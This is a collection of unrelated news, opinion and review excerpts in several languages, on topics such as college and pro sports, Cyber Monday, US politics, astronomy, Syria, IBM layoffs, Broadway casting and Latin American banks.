"It's something that I look forward to every single day, going in there and becoming a better quarterback," Franks said. "Because I know at the end of the day he's going to prepare me to go out there and win games under center. So it's very exciting each and every day."
Franks fully expects his development to continue under Mullen.
"That's just going to keep on helping me to develop as a quarterback over the next year or so and just keep leading these guys and keep trying to win a championship and bring it back to Gainesville," he said.
Only a year? It wouldn't be the most surprising thing in the world.
Franks has prototype NFL size and athleticism with a cannon for an arm. And if Mullen continues to get the growth by leaps and bounds he got from the big-armed quarterback in 2018, perhaps only one more year of development before the next level isn't so crazy after all. | {
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Now that it seems nearly every human activity has a computer- or Internet-based equivalent (e.g., cybersex, e-mail, online chats), it should probably come as no surprise that even a concept such as “Black Friday” also has a digital counterpart, one dubbed “Cyber Monday.”
Just as Black Friday (the day after Thanksgiving) is supposedly the busiest “brick and mortar” shopping day of the year in the U.S., so Cyber Monday (the Monday after Thanksgiving) is supposedly the busiest online shopping day of the year. But even though Black Friday may be the day that the largest number of consumers traipse through malls and shopping centers to look at goods, it isn’t really the highest-volume sales day (in terms of dollars spent) of the year. Likewise, although Cyber Monday might be a day when a lot of computer users pile onto the Internet to check out wares offered by online vendors, it isn’t the day most of them are buying stuff online.
In terms of overall online sales, Cyber Monday historically ranks as one of the busiest e-commerce days of the year. Certainly many, many consumers (including those who braved the Black Friday sales crush but didn’t come away with the purchases they wanted, and those who didn’t even try) hit the Internet that day to browse e-commerce sites, as the Thanksgiving holiday has ended, thoughts have turned towards Christmas, and people have returned to work (where many of them have more solitude and better Internet access than they do at home). But although e-shoppers may do a lot of looking and browsing and comparing and even a good deal of buying on Cyber Monday, they aren’t placing nearly enough orders to make that day the year’s #1 online sales day.
So where did the concept of Cyber Monday as the “busiest online shopping day” originate? As BusinessWeek noted in 2005, the term was something created by a retailers association as a promotional scheme:
So what’s up with this Cyber Monday idea? A little bit of reality and a whole lot of savvy marketing. It turns out that Shop.org, an association for retailers that sell online, dreamed up the term just days before putting out a Nov. 21 press release touting Cyber Monday as “one of the biggest online shopping days of the year.”The idea was born when a few people at the organization were brainstorming about how to promote online shopping, says Shop.org Executive Director Scott Silverman. They quickly discarded suggestions such as Black Monday (too much like Black Friday), Blue Monday (not very cheery), and Green Monday (too environmentalist), and settled on Cyber Monday. “It’s not the biggest day,” Silverman concedes. “But it was an opportunity to create some consumer excitement.” The genesis of the concept goes back even further. Shop.org member Shmuel Gniwisch, chief executive of the online jewelry site Ice.com, recalls getting an e-mail from Shop.org [in 2004], suggesting that online retailers come up with their own marketing hook to match Black Friday. “The online guys got together and said, ‘Let’s give people something different,'” he says. “The reality is, we didn’t notice anything special” on the Monday after Thanksgiving.
Typically, the busiest “real” shopping day of the year occurs on the Saturday before Christmas, and the busiest e-shopping day takes place on a Monday or Tuesday a week (or two) before the week in which Christmas falls. (According to PayPal, the most popular cybershopping day in 2008 was not the Monday after Thanksgiving, but the second Monday in December.) Also, because more consumers now have high-speed Internet access at home, many of them no longer wait until they return to work on the Monday following the four-day Thanksgiving break to look for deals; instead, the day that generates the most web traffic to online retail sites is Thanksgiving Day itself, as avid shoppers use the Internet to plan their strategies for Black Friday weekend sales at “brick and mortar” stores:
Matt Tatham, a spokesman for Hitwise, a company that tracks 100 of the largest online retailers, says there’s another trend that’s emerged over the last few holiday seasons: the greatest amount of online traffic (searching and visiting, though not necessarily buying) happening on turkey day itself.”After the tryptophan wears off, we’ve seen that people are going online and planning their strategies for the brick-and-mortar stores,” Tatham said. “Then they go out and shop the deals Friday and the weekend.” Tatham cited a Hitwise study that found savvy consumers — and retailers — have started leveraging the term Black Friday, with searches on “Black Friday ads” up 91% compared with [2006].
But the tide seems to be changing as Americans spend more time online. In 2016, American customers spent more than $3 billion on Cyber Monday, according to marketing blog Adobe Digital Insights, making it the biggest single day in online commerce (so far).
Black Friday is still a contender, though — the day after Thanksgiving generated more than $650 billion in spending in the United States in 2016, up about 3.6 percent from the year before, including online sales. “Super Saturday“, for its part, was so successful that it was rolled into several days of sales and promotional events leading up to Christmas.
In late November 2017, reports appeared that Cyber Monday had, as promised, become the single largest online shopping day of the year, with Americans spending a record $6.59 billion, up nearly 17 percent from the year before. | {
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President Donald Trump will appear at a high-dollar fundraiser for Jay Webber next week at the Trump International Hotel in Washington.
Webber, a six-term assemblyman, faces Democrat Mikie Sherrill for an open seat in New Jersey’s 11th district. A recent Monmouth University poll has the race within the margin of error.
The October 25 event seeking hard money contributions, includes a $20,000-per-person roundtable with Trump and a photo with the president for $10,000-per-person.
Webber will share the event with Carol Miller, a congressional candidate from West Virginia, and Ross Spano, who is running in Florida. All three are seeking open House seats currently held by Republicans.
Vice President Mike Pence appeared at a Webber fundraiser in Washington on Monday night. He headlined a Webber fundraising event in Morris County in August.
New Jersey native Kellyanne Conway will be in Morris County next week to help raise money for Webber.
The 11th district seat has been held by Republicans for 34 years, the last 24 by House Appropriations Committee chairman Rodney Frelinghuysen (R-Harding). Frelinghuysen did not announce his retirement until the end of January, giving Republicans a late start in the race to hold his seat.
Webber has raised $1,198,389 for his campaign and had $139,535 cash-on-hand as of September 30. Sherrill has raised $7,001,699 and has $2,666,972 remaining in her account.
Trump endorsed Webber in September via Twitter: “He is outstanding in every way. Strong on Borders, loves our Military and our Vets. Big Crime fighter. Jay has my Full and Total Endorsement!”
“I am thankful to have the support of the President for our campaign,” Webber said in a statement. “The economy is booming, the nation is moving forward, and Americans are confident about our future. Our goal is to continue the prosperity and success with policies that work to make New Jersey’s 11th district better for everyone, and the President will help us achieve that goal.”
Editor’s note: This story was updated at 10:43 PM to include Webber’s statement. | {
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A bright burst of X-rays has been discovered by NASA's Chandra X-ray Observatory in a galaxy 6.6 billion light years from Earth. This event likely signaled the merger of two neutron stars and could give astronomers fresh insight into how neutron stars — dense stellar objects packed mainly with neutrons — are built.When two neutron stars merge they produce jets of high energy particles and radiation fired in opposite directions. If the jet is pointed along the line of sight to the Earth, a flash, or burst, of gamma rays can be detected. If the jet is not pointed in our direction, a different signal is needed to identify the merger.The detection of gravitational waves — ripples in spacetime — is one such signal. Now, with the observation of a bright flare of X-rays, astronomers have found another signal, and discovered that two neutron stars likely merged to form a new, heavier and fast-spinning neutron star with an extraordinarily strong magnetic field.Chandra observed the source, dubbed XT2, as it suddenly appeared and then faded away after about seven hours. The source is located in the Chandra Deep Field-South, the deepest X-ray image ever taken that contains almost 12 weeks of Chandra observing time, taken at various intervals over several years. The source appeared on March 22nd, 2015 and was discovered later in analysis of archival data.This result is important because it gives astronomers a chance to learn about the interior of neutron stars, objects that are so dense that their properties could never be replicated on Earth. | {
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Julian Assange bekijkt de mogelijkheden om politiek asiel aan te vragen in Frankrijk. Vrijdag werd bekend dat de Zweedse aanklager het arrestatiebevel tegen de oprichter van klokkenluiderssite WikiLeaks heeft ingetrokken.
Assange zou volgens de beschuldigingen in 2010 twee vrouwen hebben verkracht. Zelf heeft hij altijd ontkend. Reden voor het stopzetten van het strafrechtelijk onderzoek is dat "alle mogelijkheden om het onderzoek te bevorderen zijn uitgeput", aldus de aanklager.
De zedenzaak kan heropend worden wanneer Assange voor de verjaring ervan in augustus 2020 terugkeert in Zweden.
Assange vreesde dat Zweden de zedenzaak als excuus gebruikte om hem uit te leveren aan de Verenigde Staten. De VS wil hem vervolgen voor het lekken van honderden geheime documenten via WikiLeaks. Vorige maand liet het ministerie van Justitie nog weten dat het bezig was aanklachten op te stellen voor een arrestatiebevel voor Assange.
De 45-jarige Australiër verblijft sinds juni 2012 in Londen. Hij voorkwam uitlevering door de Britten aan Zweden door de ambassade van Ecuador in te vluchten. Hij kreeg al snel politiek asiel.
Frankrijk
De advocaat van Assange, Juan Branco, zegt dat Assange na het nieuws van vrijdag overweegt om naar Frankrijk te gaan. Branco gaf verder geen duiding over plannen hoe Assange daar zou kunnen komen zonder in Londen gearresteerd te worden.
De politie in de Engelse stad heeft namelijk vrijdag laten weten dat Assange ondanks het intrekken van het arrestatiebevel alsnog wordt opgepakt als hij de ambassade verlaat. Reden hiervoor is dat hij zich in 2012 op borgtocht niet bij de rechtbank heeft gemeld.
Op Twitter heeft Assange gereageerd op de ontwikkelingen met een foto van zichzelf. Zijn verdedigingsadvocaat Per Samuelson noemde het besluit van de Zweedse aanklager een "totale winst voor ons". Assange liet later op de dag weten "niet te vergeten of vergeven" dat hij zeven jaar zonder aanklacht vastzat.
Door het onderzoek kon hij zijn opgroeiende kinderen nooit zien, zei hij. "Gevangen voor zeven jaar zonder aanklacht, terwijl mijn kinderen opgroeiden en mijn naam werd belasterd", schreef hij. "Ik zal het niet vergeven of vergeten." | {
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The regime of Syrian President Bashar Assad has committed crimes against humanity and war crimes by subjecting cities to unlawful sieges that gave civilians no choice but to give up or die, rights group Amnesty International said on Monday.
In a new report entitled "We leave or we die," Amnesty examines four so-called "reconciliation" agreements between the Syrian government and the armed opposition that were preceded by sieges and unlawful bombardments that forced civilians to live in dire conditions and caused widespread displacements.
The pacts under consideration were concluded in Daraya, Madaya, eastern Aleppo city and the al-Waer neighborhood in Homs city between August 2016 and March 2017.
"Over the past five years, the Syrian government and, to a lesser degree, armed opposition groups have enforced sieges on densely populated areas, depriving civilians of food, medicine and other basic necessities in violation of international humanitarian law. Besieged civilians have further endured relentless, unlawful attacks from the ground and the air," the report says.
Read more: Concerns grow about abuses, war crimes in Syria
Hospitals have been among civilian infrastructure damage in government airstrikes
'Crimes against humanity'
Amnesty said the forced displacement of civilians, often not carried out for reasons of civilians' security or military necessity, amounted to a war crime under international law. The rights body further concludes that "the sieges, unlawful killings and forced displacement by government forces are part of a systematic as well as widespread attack on the civilian population, therefore constituting crimes against humanity."
The group appealed to the international community to refer the situation in Syria to the International Criminal Court. It also called for those investigating rights abuses to be given unhindered access to the country.
Long-running conflict
The Syrian conflict, which has its roots in peaceful anti-government protests in March 2011 that were brutally suppressed by the government, has since grown into a complex war involving a multitude of parties, including government forces backed by Russian air power, anti-government rebels who have received US backing, Kurdish forces and an array of extremist Islamist groupings.
Read more: Syria conflict: What do the US, Russia, Turkey and Iran want?
More than 330,000 people have been killed and millions displaced amid the violence.
As recently as Sunday, scores of Syrian civilians at two displacement camps were killed by artillery fire, according to the Britain-based monitor Syrian Observatory for Human Rights.
Amnesty's report was based on interviews with 134 people, including displaced residents, humanitarian workers and experts, journalists and UN officials. The group also used videos and satellite imagery to corroborate witness accounts. | {
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Funk Metal baby. Above is a potential new concoction from the most prolific brewery in Texas. Jester King Funk Metal is a barrel aged imperial stout, soured with that funky brettanomyces and even uses some wild Texas yeast (in the spirit of Belgian brewing, baby!).
Down below heavy clouds, swollen and green with electric rain, the two-grinned snake waves at us in the arrythmic symphony. We dance up the leg of a star dusted mountain; from its summit our souls are projected into the darkness of the universe as scattered laser light beams. We seek the taste of eternity. You dig?
Style: Imperial Stout (Barrel Aged, Sour)
Hops: Millenium, East Kent Goldings
Malts: Pale malt, Black, Carafa, Dark Crystal
Availability: 750 ml bottles
Arrival: TBA
8.2% ABV, 29 IBUs | {
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As hundreds of million of Chinese move to cities and enter the middle class, China faces a huge demand for new infrastructure.
At the same time, Beijing looks to fixed-asset investments to keep the economy booming.
The resultant infrastructure push is incredible. A list of 108 super projects is floating around Chinese message boards. From highways spanning the continent, to the largest wind power base in the world, to a modern Silk Road that links Europe and India, to new cities in the desert, China is showing what it really means to do big things. | {
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Организаторами выставки выступила Ассоциация любителей кошек Кыргызстана «KICA», член WCF под патронажем Ассоциации клубов любителей кошек «Котофей».
По словам вице-президента Ассоциация любителей кошек Кыргызстана «KICA» Аллы Темирхановой, на выставке представлено более 150 кошек. «К нам приехали гости из Казахстана, России, Узбекистана, всего более 20-ти пород. Среди них такие уникальные породы как - сибирская, шотландская вислоухая, британская короткошерстая, мейн кун», - сказала она.
Также гости выставки могут купить кошку, цена породистого животного может достигать 7 тысяч евро. | {
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Did you dream of reading bedtime stories to your kids and debating the merits of Matilda versus James and the Giant Peach over dinner, only to realize the-book nerd gene has skipped a generation? Or at least got buried way, way down below the drawn-to-the-screen gene? If you’ve ever found yourself looking around the breakfast table thinking, “Where are all the books?” only to see your children bent over their video games, there’s still hope. The books below are designed to appeal to kids who are obsessed with beeps, boops, blue screens, and all things video games. You may still have a family book club! (It just might not include analyzing Alice’s Adventures in Wonderland quite yet.)
Pokémon The Official Adventure Guide, by Simcha Whitehill
If you’re reading this, you can probably still remember when Pokémon first came to America. It was big then, and it’s huge now. The concept was first created for Nintendo, and with a TV show, plus cards and collectibles that let kids play along, the Pokémon experience feels more like living inside a video game. With 2016 being the 20th anniversary of Pokémon, there are lots of books to celebrate. This encyclopedia recaps Ash’s journey from the beginning to the present, detailing ALL his Pokémon and badges.
Plants vs. Zombies Official Guide to Protecting Your Brains, by Simon Swatman and Adam Howling
Isn’t protecting your kids’ brains what it’s all about? So what if you need to lean on the magnetic pull of dolphin zombies to do it? Fans of the Plants vs Zombies app will recognize their favorite characters in this book of zombie profiles. And tips on planting a garden with Fume-shrooms and Potato Mines will make readers even more successful when they return to playing the game.
I Love That Minifigure, by DK
Many video game lovers are also LEGO fans. This 208-page compendium celebrates all the details that make the LEGO minifigures as fun to play with as a video-game character. Encyclopedic in scope, there are fun facts like which LEGO minifigure was the first to have a double-sided head, and a stat-filled profile of a LEGO guy dressed as a hot dog. Random, rare, and amazing characters are all included in this collection.
Modding Minecraft, by Stephen Foster
Exclusive to Barnes & Noble, this book is perfect for gamers who want to customize their Minecraft experience. The book includes a 60-day trial of LearntoMod, which lets players code their own Minecraft worlds and create mini games. It expands on the open-ended beauty of Minecraft to transform the experience of playing the game into a learning experience that makes experimenting, coding, and modding feel like play. From the makers of the popular For Dummies series, this book is accessible to readers as young as seven years old.
Game On! 2016, by Games for Gamers
Books that come out every year, like The Guinness World Records, are some of the most popular titles with kids. And this book is just as fresh. It features all the latest video games, gives details on how they were developed, and includes tips and tricks that will help readers beat them the boss monsters. There are sales states and interviews with pro gamers. This book will have readers ready to DOMINATE when they get back to their games.
Tales of the Greek Heroes, by Roger Lancelyn Green
The cover of this book is a bit of a cheat, but that’s kind of the idea, right? The Puffin Pixels series features Minecraft-inspired covers that will attract gamers and geeks to classic stories. This title includes the adventures of Jason and the Argonauts, the story of Perseus, the classic tale of Heracles pushing the boulder uphill, and more. An introduction by the ever-popular Rick Riordan compares the ancient Greek heroes to more modern heroes like Luke Skywalker, Harry Potter, and Batman. If that doesn’t spark a family book-club discussion, I don’t know what will.
Choose Your Own Adventure Box Set, by R.A. Montgomery
Every book in this classic series starts with the instruction “YOU choose what happens next!” Just like a video game, these books put readers in control of what happens—and tumbling off the side of a mountain to your fictional death is a real risk. Reluctant readers will gobble up adventures like Journey Under the Sea, The Abominable Snowman, and Space and Beyond. Younger readers can play along with the titles like Your Very Own Robot in the Choose Your Own Adventure Dragonlark series.
What books do your young gamers love? | {
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Sexually transmitted infections may not be the first things you think of when someone says "picture book," but honestly, it's a genius way to learn about them in a less fear-based way. And with STIs at an all-time high right now and chlamydia being the leading one, it's about time people studied up.
Enter: , an illustrated children's book for adults that was successfully crowdfunded on Kickstarter back in November 2017.
Mascot Books
The book centers around a koala named Chloe, who gets reaaaaally busy during mating season and (spoiler alert) catches chlamydia. (Note: like humans, koalas are also going through a chlamydia epidemic).
Mascot Books
Once Chloe finds out, she goes on a mission to both better understand the infection as well as educate and warn others around her to use protection, as it can take a while for symptoms to appear.
Mascot Books
Basically, this book is so adorable and hilarious that you almost forget you're simultaneously brushing up on your STI knowledge. Also, I need a life-size version of this poster:
Mascot Books
Chloe Has Chlamydia expertly addresses the feelings someone can experience when they learn they have an STI – the initial shock, fear of being judged, and worrying about the well-being of your partners. But it also shows that so much of the anxiety surrounding STIs is linked to a lack of knowledge: once Chloe learns about chlamydia – the symptoms, how it spreads, how it's treated – she gets cured, talks to her partners, and spreads the word about safe sex, giving out enough condoms to "cover a dolphin dick," and is positively adorable doing it all.
The best part though? Ten percent of the book's profits go towards STI screenings at Planned Parenthood! And Chloe Has Chlamydia is also the first of an upcoming series of adult-themed picture books like Deedee is Depressed, Angus is Addicted, and Billy Can’t Get a Boner.
The book is available for pre-sale now on Amazon, and a wide release on July 10. Give this bisexual, sex-positive, safe-sex-practicing koala a new home on your bookshelf.
Chloe Has Chlamydia, Amazon, $16.95.
Follow Julia on Twitter.
Julia Pugachevsky Sex and Relationships Editor I'm a Sex and Relationships Editor for Cosmo's Snapchat Discover, which you should definitely subscribe to :).
This content is created and maintained by a third party, and imported onto this page to help users provide their email addresses. You may be able to find more information about this and similar content at piano.io | {
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Deni Avdija, a projected lottery pick in the NBA draft, sits down with Mike Schmitz to examine his film from Maccabi Tel Aviv (1:26)
When polling most scouts and executives, Anthony Edwards, LaMelo Ball and James Wiseman have consistently been the top three prospects in the 2020 NBA draft, in no particular order.
Deni Avdija now deserves to be in that conversation. The 19-year-old forward is playing a key role for Maccabi Tel Aviv in the EuroLeague, and he has a real chance to end up as the best player in this class.
"He has great size and a good feel for the game," said former No. 2 pick Derrick Williams, who recently guarded Avdija. "There are players all over the world who are talented, but what really sets Deni apart is his confidence and basketball IQ."
Over his past 10 games, Avdija has posted per-40-minute marks of 18.1 points, 8.1 rebounds, 3.2 assists, 1.8 turnovers, 1.1 steals and 0.7 blocks, while shooting 65% from 2 and 42% from 3. In his last two EuroLeague contests (both wins), he's averaged 12 points, six rebounds, and three assists in 23 minutes. He has bought into his role as a defender, spot shooter and occasional creator in EuroLeague play, while tapping into more of a playmaker role in the lesser Israeli League.
The improving production is nice to see, but why exactly does Avdija deserve to be mentioned in the draft's upper echelon? After spending five days in Tel Aviv scouting multiple practices, individual workout and games, I'll take a look at that question and some more international scouting highlights. | {
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Adam Schefter breaks down when Joey Bosa and the Chargers could come to terms on a contract and if there's a possibility Bosa could miss the start of the season. (1:00)
SAN DIEGO -- With the team reaching Day 25 since rookies had to report and first-round pick Joey Bosa still unsigned, the San Diego Chargers are preparing for the regular season as if the Ohio State product will not be available for the season opener on the road against the AFC West rival Kansas City Chiefs.
Bosa and the Chargers are still locked in a contract stalemate over offset language and the earlier payment of deferred signing bonus money.
Chargers head coach Mike McCoy would not provide a timetable for Bosa getting into game shape, if and when he reports to Chargers Park.
Chargers 2016 first-round pick Joey Bosa -- the No. 3 overall pick in the draft -- has not participated in training camp. Kamil Krzaczynski/USA TODAY Sports
However, asked if someone playing defensive end in San Diego's system could function, given a slimmed-down version of the playbook, McCoy said: "We're going to play everybody. If you have a uniform, you're going to play. And that's what the good teams do up front. They're going to rotate everyone and keep everybody fresh."
The Chargers dropped Bosa from third string to fourth string at defensive end on the team's latest depth chart. Darius Philon is listed as the starter, followed by Tenny Palepoi, Zamir Carlis and Bosa. With the Chargers preparing for the team's regular-season dress rehearsal -- Sunday's preseason matchup against the Minnesota Vikings -- San Diego must move forward as if Bosa will not be available for the season opener in three weeks.
"We'll have a plan for him whenever he's here," McCoy said. "We've talked about it over time, from the very beginning of camp. So we've got a plan for when he's in the building. But I'm very pleased with the other 89 guys in camp at this point in time."
Specifically, McCoy indicated that he has been pleased so far with the play of Bosa's replacements, second-year pro Darius Philon and 2014 undrafted rookie Tenny Palepoi.
"I just love his energy," McCoy said of Philon. "He comes to practice every day. He works hard. He loves to play the game."
After a productive 2014 season, Palepoi missed all of the 2015 season after suffering a fractured foot during training camp. The Utah product said he dropped 35 pounds, and at 6-foot-1, he will play at 280 pounds this season.
"Philon has been doing a good job stepping in," Palepoi said. "And just the depth that we have on the defensive line is the big contribution this year. We feel like we're deep at every single position, so I think we're in good hands right now."
Palepoi said that even though he's lighter than his college weight, he has maintained enough strength and explosion to take the constant pounding as an interior defensive lineman.
"He's very quick," McCoy said of Palepoi. "He's coming off the ball. He's lighter. He's worked extremely hard. Give him a lot of credit: That was tough injury last year early on, and what he went through and how hard he worked. But he's been the same way. He hasn't skipped a beat." | {
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東京大学 篠田・牧野研究室の研究者らは、機械学習を用いて0.5秒後の運動をリアルタイム推定する体動予測システム「Computational Foresight」を提案した論文を発表しました。
Computational Foresight: Forecasting Human Body Motion in Real-time for Reducing Delays in Interactive System
本稿では、Kinectを用いて人間の動きを測定し、ニューラルネットワークを用いて、リアルタイムに0.5秒後の人間の動きを推定し出力するシステムを提案します。
提案システムは、人体の動きをリアルタイムに推定するために、5層のニューラルネットワークを構築、25個の人体関節を検出し、それらのデータを機械学習の入力データセットに使用します。
（左図：青点が認識された関節、赤点が計算されたCOG。右図：緑色の骨は現在の身体の位置、赤い骨は予測される身体の位置）
実験では、被験者にジャンプをしてもらい動作を測定、その結果、ジャンプ運動における体の重心は、実際の動作の0.5秒前に7.9cmの精度で推定できると評価をしました。
このような体動予測は、遠隔対話システムの遅延を軽減したり、スポーツ指示などの多くの分野で事前に事故を防止するためにも使用できるとしています。
今回の研究は、タイ：バンコクで現地時間2017年11月27日–2017年11月30日に開催される「Siggraph Asia 2017」のEmerging Technologies（通称：E-tech）にてデモ発表されます。
関連
ディズニー、VR空間にいながら現実のボールをキャッチするアイディアを論文にて公開。ボールの予測軌道を表示など | Seamless | {
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Dear treasonous media jackals:
A hint for next time: If you don't want to talk about
ABC News' "debate" was a travesty and embarrassment to decent journalists everywhere. The gotcha debate style is more suitable to a professional wrestling match than an interview for the most important job in the world. Clearly, ABC News wants voters to be angry, uninformed and divided. YOU hate America, not people who don't wear flag pins. Burn in hell, you traitorous corporate whores.A hint for next time: If you don't want to talk about important issues , don't hold a debate. If you want to ask about stupid, pointless shit, why not get Jerry Springer to hold the debate? I'm sure he'd do a better job than the two ass-clowns you had run it.
.... You may think I'm being impolite. Wrong. You should've seen what I wanted to write.
Sincerely,
an American voter
I didn't even watch the damn debate and I could still smell its rancid stink by checking the livebloggers. God, what a wretched display of divisive, gotcha politics.Here's my open letter to ABC News and the neocon whores who run it: Click here for a more reasoned and restrained open letter (not that you deserve it, ABC).
Labels: America, corporatism, elections, MSM, TV | {
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IBMers at risk of losing their jobs have reacted with “fury” to Big Blue’s confirmation it can only afford to pay the bare statutory minimum in their redundancy packages.
Staff at IBM's Global Technology Services (GTS), Global Business Services (GBS) and UK Labs entered into a 45-day consultation period recently.
Around 400 of them will be asked to work a 45-day notice period before they leave in August.
Unlike past programmes when staff said they were offered better leaving terms, in both voluntary and involuntary exits, this time around payoffs are being calculated on the statutory minimum as required by government.
IBM will give workers under 22 years old half a week’s salary for every full year of service, pay one week for every full year worked for staff between the age of 22 and 41, and one and a half weeks' for every year worked by those at 41 years old or above. The length of service is capped at 20 years, weekly salary at £475 and the maximum payment is £14,250.
The Employee Consultation Committee asked why smaller payments were offered, and in minutes of the meeting for GTS, which The Channel has seen, IBM said “enhanced terms” were not “affordable”.
“UK GTS need to drive at least two per cent margin growth in 2016, and specifically for GTS IS Delivery, this translates to achieving $75m cost take out in 2016. This redundancy programme is one of the labour productivity actions.” the ECC Q&A document – also seen by us – revealed.
Growth in the services market hasn't shown up in recent times, and big ticket outsourcing contracts seem to be few and far between. Cutting costs will let IBM generate more profit on the revenues it turns. Work is being shifted to lower labour cost countries.
IBM said it had considered the impact that statutory redundancy terms might have on future hires, but reckoned “competitive pay and benefits, global opportunities, career and skill development and flexible working options”, were the “key drivers”.
IBM also said it was aware of some customers concerns about offshoring work when setting the selection criteria for redundancies.
Over at GBS, the ECC document written for that unit also contained complaints along the same thread. One employee told IBM it “should be embarrassed at accepting to implement this request from [execs in] the States and even more embarrassed at placing such a proposal on the table”.
IBM thanked the worker - who wrote the post anonymously - for his/her comment and said they “have been noted”
One IBMer told The Channel that “the general mood in the office is one of fury at the imposition of the statutory/involuntary terms, disgust at the betrayal and disloyalty of the GBS leadership, and fear of the future”.
But he said there was “camaraderie” among the wider workforce.
IBM has not told each of the divisions what redundancy terms other parts of the business are receiving, and refused to answer such questions in the ECC.
An insider at UK Labs told us that “voluntary redundancies and no package beyond the statutory minimum” was planned action being taken by the company.
GTS turned over $32.01bn in calendar year 2015, down 9.7 per cent year-on-year, and saw its gross profit margin dip to 37.4 per cent from 39 per cent in the previous year. GBS' revenue of $17.16bn was down 12 per cent and gross profit margin was 28.2 per cent, down from 30.4 per cent previously.
The company is shifting shape, hiring and acquiring in areas where it forecasts stronger growth - cloud, security, analytics, mobile - but the reality of this does not make the redundancy process any easier for those affected. ® | {
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It's official: Tony Award nominee Brian d'Arcy James has set his return date to Lin-Manuel Miranda's Hamilton.
James will reprise his performance as King George III beginning April 14, producers have announced. He replaces Taran Killam, who departs on April 13. The news that James would return to the show was first speculated this morning.
James was the first actor to play King George in Hamilton's original off-Broadway run at the Public Theater in 2015. Due to an engagement playing Nick Bottom in Broadway's Something Rotten!, a role which netted him a Tony nomination, James was unable to join the cast for their move to Broadway, instead handing over his crown to Tony nominee Jonathan Groff.
With book, music, and lyrics by Lin-Manuel Miranda, direction by Thomas Kail, choreography by Andy Blankenbuehler, and music direction and orchestrations by Alex Lacamoire, Hamilton is based on Ron Chernow's biography of founding father Alexander Hamilton. The musical tells the story of Alexander Hamilton, an immigrant from the West Indies who became George Washington's right-hand man during the Revolutionary War, and was the new nation's first treasury secretary. The production began performances at Broadway's Richard Rodgers Theatre on August 6, 2015.
The current cast of Hamilton features Jevon McFerrin in the title role, Brandon Victor Dixon as Aaron Burr, Mandy Gonzalez as Angelica Schuyler, Bryan Terrell Clark as George Washington, Lexi Lawson as Eliza Hamilton, Michael Luwoye as Muñoz's alternate, J. Quinton Johnson as Hercules Mulligan and James Madison, Jordan Fisher as John Laurens and Philip Hamilton, and Seth Stewart as Marquis de Lafayette and Thomas Jefferson.
For tickets and more information, click here. | {
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Two medical marijuana-related bills failed during the last legislative session. A bill to legalize medical marijuana to those with a prescription was defeated by a 26-67 vote. A resolution calling for an interim study of legalization of medical marijuana for those with serious medical conditions failed 32-61.
The NDMA opposed both bills.
“The properties of each plant is impossible to predict, even when grown in a controlled environment,” Korbele said in a statement from NDMA.
Korbele said NDMA believes the proponents of Measure 5 have good intentions but, as worded, it would be burdensome to the North Dakota Department of Health, overstep bounds by legislating medical practices, and classify an unreliable substance as medicine.
She said some preliminary research into the effects of cannabidiol, a component of marijuana, have shown some promise in preventing seizures and could eventually be given the green light for use on the open market.
Cannabidiol is one of dozens of chemicals found in marijuana plants. It’s been found to have some potential therapeutic effects, without the euphoria or intoxication produced by tetrahydrocannabinol, or THC. | {
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Republicans like to say that they want to get government off the back of business. Evidently that maxim fails to apply when a business isn’t anti-union enough.
Workers at a Volkswagen plant in Chattanooga, Tenn., are voting this week on whether or not to join the United Auto Workers. Far from attempting to prevent its workers from unionizing, Volkswagen is offering its support, saying "Volkswagen America is committed to defending our employees' legal right to make a free choice." And that seems to have driven Republicans into a fit of madness.
For starters, state lawmakers have said that the hefty package of tax incentives they dumped into Volkswagen’s lap to entice the company to build in Tennessee could be at risk if the plant unionizes. "It has been widely reported that Volkswagen has promoted a campaign that has been unfair, unbalanced and, quite frankly, un-American in the traditions of American labor campaigns," said Republican state Sen. Bo Watson. "Should the workers choose to be represented by the United Auto Workers, then I believe additional incentives for expansion will have a very tough time passing the Tennessee Senate."
Usually I’d consider it a good thing that a state was rethinking the buckets of corporate tax incentives it doles out, since they do little to promote economic growth or job creation. But it’s anti-union animus, not economics, driving this discussion.
And it’s not just state lawmakers voicing their displeasure with Volkswagen: Conservative groups have poured into Tennessee, buying up billboards saying, among other things, that Chattanooga will turn into bankrupt Detroit if the UAW is successful.
But the lead anti-union crusader has been U.S. Sen. Bob Corker, R-Tenn., the former mayor of Chattanooga. In addition to lambasting the UAW, Corker has said – in contradiction to the company’s public announcements – that Volkswagen will reward workers with a new product to build if they decide not to unionize. "I've had conversations today and based on those am assured that should the workers vote against the UAW, Volkswagen will announce in the coming weeks that it will manufacture its new mid-size SUV here in Chattanooga," said Corker. As Reuters reported, labor law experts believe Corker’s statement could very well be an illegal attempt to intimidate workers.
All in all, this is a lot of GOP meddling with a private business. "In my 20 years on the hill, I've never seen such a massive intrusion into the affairs of a private company," said Tennessee Democratic state Rep. Craig Fitzhugh. Indeed, usually it's Republicans decrying any attempt by government to regulate the unionization process. So what on Earth is going on?
Well, a plant unionized by the UAW in Tennessee could potentially deal a blow to the right-wing narrative that anti-union companies in so-called “right to work” states are better for economic growth and job creation by providing a real-time counterpoint. If unions make inroads into foreign-owned auto plants in the South, the right-wing effort to claim that unions are something that ails business will be undermined. (Since Tennessee is right to work, employees in Chattanooga could still opt out of supporting the union even if the plant unionizes.)
Already, there’s much more myth than meat to the right to work movement. As the Economic Policy Institute has found, right to work laws – which undercut unions by allowing workers to free-load off union contracts – “reduce wages by $1,500 a year, for both union and nonunion workers.” They also make it less likely that workers will receive health care benefits and more likely that workplace accidents will occur. And they have no appreciable impact on job growth. | {
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Como os bancos latino-americanos continuam lucrando muito, apesar da crise
Crédito, Reuters Legenda da foto, Enquanto moradores de muitos países latino-americanos apertam o cinto, bancos elevam a rentabilidade em várias nações da região
Os bancos na América Latina parecem ter encontrado a fórmula dos sonhos no mundo dos negócios: ganhar cada vez mais dinheiro, mesmo em tempos de vacas magras.
No Brasil, o lucro conjunto dos quatro maiores bancos cresceu 46% no primeiro semestre deste ano ante o mesmo período de 2014, apesar de o país enfrentar uma recessão e um escândalo de corrupção envolvendo a Petrobras e o governo federal.
No México, os lucros do setor bancário aumentaram quase 14% entre janeiro e junho deste ano na comparação com a primeira metade de 2014 - ou seja, cinco vezes mais que a taxa de expansão do PIB (Produto Interno Bruto) local.
Algo parecido ocorre em outras nações latino-americanas com economias em desaceleração.
Bancos de países como Colômbia, Equador, Paraguai e Uruguai registraram mais ganhos nos primeiros seis ou sete meses de 2015 do que em períodos iguais do ano passado.
A tendência se estende a países que passam por estagnação econômica desde 2014 e onde os governos adotam bandeiras de esquerda.
Bancos da Argentina e da Venezuela ocuparam os 10 primeiros lugares de um ranking regional de retorno sobre capital, divulgado pela publicação especializada The Banker em novembro.
